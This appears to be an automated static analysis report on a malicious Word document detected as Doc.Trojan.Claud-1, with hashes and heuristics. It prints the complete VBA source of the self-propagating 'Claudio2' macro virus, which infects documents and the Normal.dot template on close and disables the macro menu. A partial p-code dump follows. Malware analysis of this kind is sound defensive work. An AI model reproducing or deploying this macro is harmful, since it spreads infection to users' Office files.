Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4799b05ebe22d1b5…

MALICIOUS

Office (OLE)

34.5 KB Created: 2000-08-08 08:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 00a96b99493a47861be169340f4cc56e SHA-1: a6e4f7772459b75c78d658d80185aabf238274bb SHA-256: 4799b05ebe22d1b52b56b490c6fddd2bff103c7dee635291194002773ba427e8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Claud-1. The embedded VBA macro code, named 'Claudio2', contains logic to infect the current document and the Normal.dot template with its code. This suggests a self-propagating macro malware designed to spread its functionality to other Office documents.

Heuristics 2

  • ClamAV: Doc.Trojan.Claud-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Claud-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6097 bytes
SHA-256: 46856487aeeacfe8cb3af8ab8e7b2181e01ae235f2a33639ce2d6c2c36d0ef81
Detection
ClamAV: Doc.Trojan.Claud-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Claudio2"
Attribute VB_Base = "1Normal.Claudio2"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
On Error Resume Next
Dim jota As Integer, i As Integer, y As Integer, cadecodi As String
 Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
 Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
  CommandBars("tools").Controls("macro").Enabled = False
  Options.VirusProtection = True
  y = 0
  If AD.Name = "Claudio2" Then GoTo InfectNormal
  i = nt.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
Claudio:
  jota = 0
  jota = AD.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
  If jota = 0 Then
   jota = i
   Do While y < nt.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
     y = y + 1
     cadecodi = nt.CodeModule.Lines(jota, 1)
     AD.CodeModule.InsertLines y, cadecodi
     jota = jota + 1
   Loop
   AD.Name = "Claudio2"
   ActiveDocument.SaveAs ActiveDocument.FullName
  Else
    AD.CodeModule.ReplaceLine jota, "Sub Claudio"
    GoTo Claudio
  End If
 GoTo IYGH
InfectNormal:
If nt.Name <> "Claudio2" Then
i = AD.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
jota = 0
jota = nt.CodeModule.ProcBodyLine("Document_Close", vbext_pk_Proc)
  If jota = 0 Then
   jota = i
   Do While y < AD.CodeModule.ProcCountLines("Document_Close", vbext_pk_Proc)
     y = y + 1
     cadecodi = AD.CodeModule.Lines(jota, 1)
     nt.CodeModule.InsertLines y, cadecodi
     jota = jota + 1
   Loop
   nt.Name = "Claudio2"
   NormalTemplate.Save
  Else
    nt.CodeModule.ReplaceLine jota, "Sub Claudio"
    GoTo InfectNormal
  End If
 End If
IYGH:
'Este es un V macro, Elaborado por c l a u d I o
'Este es el Comienzo de la era de los V Claudio
End Sub




' Processing file: /opt/analyzer/scan_staging/772aaa99307346a9b1da198013f62022.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Claudio2 - 3572 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Dim 
' 	VarDefn jota (As Integer)
' 	VarDefn i (As Integer)
' 	VarDefn y (As Integer)
' 	VarDefn cadecodi (As String)
' Line #3:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set AD 
' Line #4:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set nt 
' Line #5:
' 	LitVarSpecial (False)
' 	LitStr 0x0005 "macro"
' 	LitStr 0x0005 "tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' Line #6:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' 	LitDI2 0x0000 
' 	St y 
' Line #8:
' 	Ld AD 
' 	MemLd New 
' 	LitStr 0x0008 "Claudio2"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	GoTo InfectNormal 
' 	EndIf 
' Line #9:
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld nt 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcBodyLine 0x0002 
' 	St i 
' Line #10:
' 	Label Claudio 
' Line #11:
' 	LitDI2 0x0000 
' 	St jota 
' Line #12:
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld AD 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcBodyLine 0x0002 
' 	St jota 
' Line #13:
' 	Ld jota 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	Ld i 
' 	St jota 
' Line #15:
' 	Ld y 
' 	LitStr 0x000E "Document_Close"
' 	Ld vbext_pk_Proc 
' 	Ld nt 
' 	MemLd CodeModule 
' 	ArgsMemLd ProcCountLines 0x0002 
' 	Lt 
' 	DoWhile 
' Line #16:
' 	Ld y 
' 	LitDI2 0x0001 
' 	Add 
' 	St y 
' Line #17:
' 	Ld jota 
' 	LitDI2 0x0001 
' 	Ld nt 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St cadecodi 
' Line #18:
' 	Ld y 
' 	Ld cadecodi 
' 	Ld AD 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #19:
' 	Ld jota 
' 	LitDI2 0x0001 
' 	Add 
' 	St jota 
' Line #20:
' 	Loop 
' Line #21:
' 	LitStr 0x0008 "Claudio2"
' 	Ld AD 
' 	MemSt New 
' Line #22:
' 	
... (truncated)

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